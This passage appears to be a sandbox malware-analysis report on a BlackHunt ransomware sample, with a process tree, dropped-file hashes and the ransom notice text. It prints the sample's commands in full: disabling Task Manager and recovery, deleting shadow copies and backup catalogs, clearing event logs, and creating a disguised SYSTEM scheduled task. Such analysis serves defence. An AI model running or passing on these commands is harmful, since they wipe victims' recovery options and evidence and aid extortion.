                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:2472
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:748
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:2468
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                                PID:1172
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                              2⤵
                                                                                PID:2132
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                  3⤵
                                                                                    PID:2964
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:2780
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                      3⤵
                                                                                        PID:2808
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                      2⤵
                                                                                        PID:2560
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:2324
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:2440
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:1788
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                              2⤵
                                                                                                PID:2460
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                                  3⤵
                                                                                                    PID:1484
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                  2⤵
                                                                                                    PID:2520
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                      3⤵
                                                                                                        PID:844
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                      2⤵
                                                                                                        PID:2936
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                            PID:744
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                          2⤵
                                                                                                            PID:2216
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                              3⤵
                                                                                                              • Modifies registry class
                                                                                                              PID:2488
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                            2⤵
                                                                                                              PID:2136
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                3⤵
                                                                                                                  PID:3044
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                2⤵
                                                                                                                  PID:1036
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                    3⤵
                                                                                                                      PID:2416
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe" /F
                                                                                                                    2⤵
                                                                                                                      PID:1540
                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                        SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe" /F
                                                                                                                        3⤵
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        • Modifies registry class
                                                                                                                        PID:2416
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                      2⤵
                                                                                                                        PID:936
                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                          3⤵
                                                                                                                          • Enumerates connected drives
                                                                                                                          • Interacts with shadow copies
                                                                                                                          PID:1572
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                        2⤵
                                                                                                                          PID:1704
                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                            3⤵
                                                                                                                            • Enumerates connected drives
                                                                                                                            • Interacts with shadow copies
                                                                                                                            PID:1120
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                          2⤵
                                                                                                                            PID:1696
                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                              vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                              3⤵
                                                                                                                              • Interacts with shadow copies
                                                                                                                              PID:1880
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                            2⤵
                                                                                                                              PID:2684
                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                3⤵
                                                                                                                                • Interacts with shadow copies
                                                                                                                                • Modifies registry class
                                                                                                                                PID:2424
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                              2⤵
                                                                                                                                PID:1732
                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                  vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                  3⤵
                                                                                                                                  • Interacts with shadow copies
                                                                                                                                  PID:2748
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                2⤵
                                                                                                                                  PID:2124
                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                    3⤵
                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                    PID:3056
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                  2⤵
                                                                                                                                    PID:2708
                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                      3⤵
                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                      PID:2476
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                    2⤵
                                                                                                                                      PID:1236
                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                                        3⤵
                                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                                        PID:2816
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                      2⤵
                                                                                                                                        PID:828
                                                                                                                                        • C:\Windows\system32\wbadmin.exe
                                                                                                                                          wbadmin.exe delete catalog -quiet
                                                                                                                                          3⤵
                                                                                                                                          • Deletes backup catalog
                                                                                                                                          PID:2520
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                        2⤵
                                                                                                                                          PID:2812
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                            3⤵
                                                                                                                                              PID:2000
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                                            2⤵
                                                                                                                                              PID:2976
                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                fsutil usn deletejournal /D F:\
                                                                                                                                                3⤵
                                                                                                                                                • Enumerates connected drives
                                                                                                                                                PID:2004
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                                              2⤵
                                                                                                                                                PID:1556
                                                                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                                                                  fsutil usn deletejournal /D C:\
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1436
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1936
                                                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                                                      fsutil usn deletejournal /D M:\
                                                                                                                                                      3⤵
                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                      PID:1776
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1068
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl Setup
                                                                                                                                                        3⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:1284
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2808
                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                          wevtutil.exe cl System
                                                                                                                                                          3⤵
                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:2104
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                                        2⤵
                                                                                                                                                          PID:828
                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                            wevtutil.exe cl Application
                                                                                                                                                            3⤵
                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:1568
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1264
                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                              wevtutil.exe cl Security
                                                                                                                                                              3⤵
                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:2880
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1728
                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                wevtutil.exe cl Security /e:false
                                                                                                                                                                3⤵
                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:2520
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2848
                                                                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                  vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Interacts with shadow copies
                                                                                                                                                                  PID:2620
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3068
                                                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                                                    PID:760
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1964
                                                                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                                                                      PID:1008
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1428
                                                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                                                                        PID:2072
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2812
                                                                                                                                                                        • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                          wbadmin.exe delete catalog -quiet
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Deletes backup catalog
                                                                                                                                                                          PID:948
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2816
                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1220
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:924
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2136
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2464
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2156
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1648
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:772
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:2668
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:3048
                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1628
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2608
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:964
                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                    taskkill /IM mshta.exe /f
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                    PID:684
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:568
                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                      notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3044
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2788
                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                          "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                                          PID:2564
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Deletes itself
                                                                                                                                                                                                        PID:2472
                                                                                                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                          ping 127.0.0.1 -n 5
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                                                          PID:2760
                                                                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:1948
                                                                                                                                                                                                    • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                                      "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:1132
                                                                                                                                                                                                    • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2464
                                                                                                                                                                                                      • C:\Windows\System32\vds.exe
                                                                                                                                                                                                        C:\Windows\System32\vds.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:944
                                                                                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                                                                          PID:2920

                                                                                                                                                                                                        Network

                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                              • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                34b117e298451139a837b6823f85d27e

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                2d3a4de6f159105341816147270b592c8e6d75b8

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                e5f57ff0c5adb180c58a83faaab2de76d10be9f76c226884013e268d0a27ef5e

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                cc311291ddde6a9986c69450e11e37727453314fda24f260db512c83ee98e2b3eb3266436a3e1e86a4ee7d8dae6b2b7a99e6ff63f713de6012fac474170eac98

                                                                                                                                                                                                              • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                12KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                6c134efa55adecaffa60d53bc7af7353

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                4da3e427a25a8f74718bf776b1b2c7f4321b4afb

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                57aab59c0a6321edb711cf61846dd9af26cfdab990e1e2a84fdef669d75febf3

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                d8ef99f09e29af5bde2dd9799ddae1470f9e27b6eb2148eebde8d959437b6df9b373dd39a2c2f9d3e64977622422704b63c08ba5921311286c14a4817c911455

                                                                                                                                                                                                              • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                684B

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                2c812385397cf616f83e749850f80001

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                4c8c6f8aa19d5891b1f9dc6c2a8d2954e1cb8c8f

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                691aef6634703335999b9f5857c1a83141abc8dbd7e93716b0758d1ba18cfdfb

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                52c69022681f98c9491d5bea5904b3ac319527cdc2a6a0157fb825eb218ad9a120870efa5ea9d89b6326902056a8751d238fbac9ab2ae09755618213b3276978